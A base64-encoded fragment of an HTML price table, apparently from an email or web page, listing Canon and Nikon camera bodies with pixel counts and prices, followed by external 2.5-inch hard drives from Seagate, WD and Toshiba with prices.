bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8 L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+Q2Fu b24mbmJzcDtFT1MtMUQmbmJzcDtYPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRs ZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PkVm ZmVjdGl2ZSZuYnNwO3BpeGVsczombmJzcDsxOC4xMCZuYnNwO21pbGxpb248L1REPg0KPFRE IHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7 IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkg d2lkdGg9NzI+JDY1MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5 bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NDMyIGNvbFNwYW49Nj5DYW5vbiZuYnNwOzVEJm5ic3A7TWFyayZuYnNwO0lJSTwvVEQ+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT5FZmZlY3RpdmUmbmJzcDtwaXhlbHM6Jm5ic3A7 MjAuMzAmbmJzcDttaWxsaW9uPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ1MjAmbmJzcDs8L1REPjwv VFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdI VDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+Q2Fub24mbmJz cDs2RDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0 OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCww LDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT5FZmZlY3RpdmUmbmJzcDtwaXhl bHM6Jm5ic3A7MjAuMjAmbmJzcDttaWxsaW9uPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpF OiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ1MTAmbmJz cDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDEx cHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlk ZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+ Q2Fub24mbmJzcDs3RDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hU OiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9S OiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT5FZmZlY3RpdmUm bmJzcDtwaXhlbHM6Jm5ic3A7MTgmbmJzcDttaWxsaW9uPC9URD4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ1 OTgmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJ WkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xT cGFuPTY+Q2Fub24mbmJzcDs3MEQ8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7 IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+RWZm ZWN0aXZlJm5ic3A7cGl4ZWxzOiZuYnNwOzIwLjIwJm5ic3A7bWlsbGlvbjwvVEQ+DQo8VEQg c3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD03Mj4kNTk1Jm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHls ZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVS VElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0 aD00MzIgY29sU3Bhbj02Pk5pa29uJm5ic3A7RDRzPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PkVmZmVjdGl2ZSZuYnNwO3BpeGVsczombmJzcDsxNi4yMyZuYnNwO21pbGxpb248 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NzI+JDU1NSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5OaWtvbiZuYnNwO0Q4MTA8L1REPg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBW RVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdp ZHRoPTM2MCBjb2xTcGFuPTU+RWZmZWN0aXZlJm5ic3A7cGl4ZWxzOiZuYnNwOzM2LjM4Jm5i c3A7bWlsbGlvbjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAx NC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kNTMwJm5ic3A7PC9URD48L1RSPg0KPFRS IGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1 cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigw LDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pk5pa29uJm5ic3A7RGY8L1RE Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVp Z2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+RWZmZWN0aXZlJm5ic3A7cGl4ZWxzOiZuYnNw OzE2LjI1Jm5ic3A7bWlsbGlvbjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03Mj4kNTE1Jm5ic3A7PC9URD48 L1RSPg0KPFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09M T1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02Pk5pa29uJm5i c3A7RDc1MDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT5FZmZlY3RpdmUmbmJzcDtw aXhlbHM6Jm5ic3A7MjQuMzImbmJzcDttaWxsaW9uPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQ1MDAm bmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6 IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1BTElHTjog bWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFu PTY+Tmlrb24mbmJzcDtENjEwPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBI RUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsg Q09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29sU3Bhbj01PkVmZmVj dGl2ZSZuYnNwO3BpeGVsczombmJzcDsyNC4yNiZuYnNwO21pbGxpb248L1REPg0KPFREIHN0 eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZF UlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lk dGg9NzI+JDM5NSZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJ Q0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9 NDMyIGNvbFNwYW49Nj5OaWtvbiZuYnNwO0QzMDBTPC9URD4NCjxURCBzdHlsZT0iRk9OVC1T SVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwtQUxJ R046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAgY29s U3Bhbj01PkVmZmVjdGl2ZSZuYnNwO3BpeGVsczombmJzcDsxMi4zMCZuYnNwO21pbGxpb248 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NzI+JDM5MCZuYnNwOzwvVEQ+PC9UUj4NCjxUUiBoZWlnaHQ9MTk+ DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDog MzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBoZWln aHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5OaWtvbiZuYnNwO0Q3MTAwPC9URD4NCjxURCBz dHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsg VkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3 aWR0aD0zNjAgY29sU3Bhbj01PkVmZmVjdGl2ZSZuYnNwO3BpeGVsczombmJzcDsyNC4xMCZu YnNwO21pbGxpb248L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDog MTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiBy Z2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDM4MCZuYnNwOzwvVEQ+PC9UUj4NCjxU UiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4y NXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2Io MCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj48L1REPg0KPFREIHN0eWxl PSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJU SUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRo PTM2MCBjb2xTcGFuPTU+PC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlH SFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xP UjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPjwvVEQ+PC9UUj4NCjxUUiBoZWln aHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgVEVYVC1ERUNPUkFUSU9OOiB1 bmRlcmxpbmU7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDY0OHB0OyBWRVJUSUNBTC1BTElH TjogbWlkZGxlOyBDT0xPUjogcmdiKDI1NSwwLDApOyBGT05ULVNUWUxFOiBpdGFsaWMiIGhl aWdodD0xOSB3aWR0aD04NjQgY29sU3Bhbj0xMj5FeHRlcm5hbCZuYnNwO0hhcmQmbmJzcDtE aXNrJm5ic3A7RHJpdmUvSEREJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9URD48L1RSPg0K PFRSIGhlaWdodD0xOT4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0 LjI1cHQ7IFdJRFRIOiAzMjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJn YigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNlYWdhdGUmbmJzcDtF eHBhbnNpb24mbmJzcDsmbmJzcDsyLjUi77yINTAwR0LvvIk8L1REPg0KPFREIHN0eWxlPSJG T05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNB TC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2 MCBjb2xTcGFuPTU+NTAwR0ImbmJzcDsmbmJzcDsyLjUiJm5ic3A7Jm5ic3A7VVNCMy4wLzIu MDwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogNTRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCki IGhlaWdodD0xOSB3aWR0aD03Mj4kMjQmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5 Pg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6 IDMyNHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVp Z2h0PTE5IHdpZHRoPTQzMiBjb2xTcGFuPTY+U2VhZ2F0ZSZuYnNwO1NsaW0mbmJzcDsmbmJz cDsyLjUi77yINTAwR0LvvIk8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBD T0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+NTAwR0Im bmJzcDsmbmJzcDsyLjUiJm5ic3A7Jm5ic3A7VVNCMy4wLzIuMDwvVEQ+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElD QUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03 Mj4kMjUmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05U LVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBj b2xTcGFuPTY+V0QmbmJzcDtNeSZuYnNwO1Bhc3Nwb3J0Jm5ic3A7VWx0cmEmbmJzcDs1MDBH QjwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBX SURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDAp IiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT41MDBHQiZuYnNwOyZuYnNwOzIuNSIm bmJzcDsmbmJzcDtVU0IzLjAvMi4wPC9URD4NCjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0 OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiA1NHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxl OyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTcyPiQyNCZuYnNwOzwvVEQ+ PC9UUj4NCjxUUiBoZWlnaHQ9MTk+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsgSEVJ R0hUOiAxNC4yNXB0OyBXSURUSDogMzI0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NDMyIGNvbFNwYW49Nj5Ub3NoaWJh Jm5ic3A7Y2FudmlvJm5ic3A7U0xJTe+8iDUwMEdC77yJPC9URD4NCjxURCBzdHlsZT0iRk9O VC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAyNzBwdDsgVkVSVElDQUwt QUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD0zNjAg Y29sU3Bhbj01PjUwMEdCJm5ic3A7Jm5ic3A7Mi41IiZuYnNwOyZuYnNwO1VTQjMuMC8yLjA8 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENPTE9SOiByZ2IoMCwwLDApIiBo ZWlnaHQ9MTkgd2lkdGg9NzI+JDIzJm5ic3A7PC9URD48L1RSPg0KPFRSIGhlaWdodD0xOT4N CjxURCBzdHlsZT0iRk9OVC1TSVpFOiAxMXB0OyBIRUlHSFQ6IDE0LjI1cHQ7IFdJRFRIOiAz MjRwdDsgVkVSVElDQUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdo dD0xOSB3aWR0aD00MzIgY29sU3Bhbj02PlNlYWdhdGUmbmJzcDtCYWNrdXAmbmJzcDtQbHVz Jm5ic3A7Mi41Iu+8iDFUQu+8iTwvVEQ+DQo8VEQgc3R5bGU9IkZPTlQtU0laRTogMTFwdDsg SEVJR0hUOiAxNC4yNXB0OyBXSURUSDogMjcwcHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7 IENPTE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9MzYwIGNvbFNwYW49NT4xVEIm bmJzcDsmbmJzcDsyLjUiJm5ic3A7Jm5ic3A7VVNCMy4wLzIuMDwvVEQ+DQo8VEQgc3R5bGU9 IkZPTlQtU0laRTogMTFwdDsgSEVJR0hUOiAxNC4yNXB0OyBXSURUSDogNTRwdDsgVkVSVElD QUwtQUxJR046IG1pZGRsZTsgQ09MT1I6IHJnYigwLDAsMCkiIGhlaWdodD0xOSB3aWR0aD03 Mj4kMjgmbmJzcDs8L1REPjwvVFI+DQo8VFIgaGVpZ2h0PTE5Pg0KPFREIHN0eWxlPSJGT05U LVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lEVEg6IDMyNHB0OyBWRVJUSUNBTC1B TElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIgaGVpZ2h0PTE5IHdpZHRoPTQzMiBj b2xTcGFuPTY+V0QmbmJzcDtNeSZuYnNwO1Bhc3Nwb3J0Jm5ic3A7VWx0cmEmbmJzcDsxVEI8 L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhFSUdIVDogMTQuMjVwdDsgV0lE VEg6IDI3MHB0OyBWRVJUSUNBTC1BTElHTjogbWlkZGxlOyBDT0xPUjogcmdiKDAsMCwwKSIg aGVpZ2h0PTE5IHdpZHRoPTM2MCBjb2xTcGFuPTU+MVRCJm5ic3A7Jm5ic3A7Mi41IiZuYnNw OyZuYnNwO1VTQjMuMC8yLjA8L1REPg0KPFREIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IEhF SUdIVDogMTQuMjVwdDsgV0lEVEg6IDU0cHQ7IFZFUlRJQ0FMLUFMSUdOOiBtaWRkbGU7IENP TE9SOiByZ2IoMCwwLDApIiBoZWlnaHQ9MTkgd2lkdGg9NzI+JDI4Jm5ic3A7PC9URD48L1RS 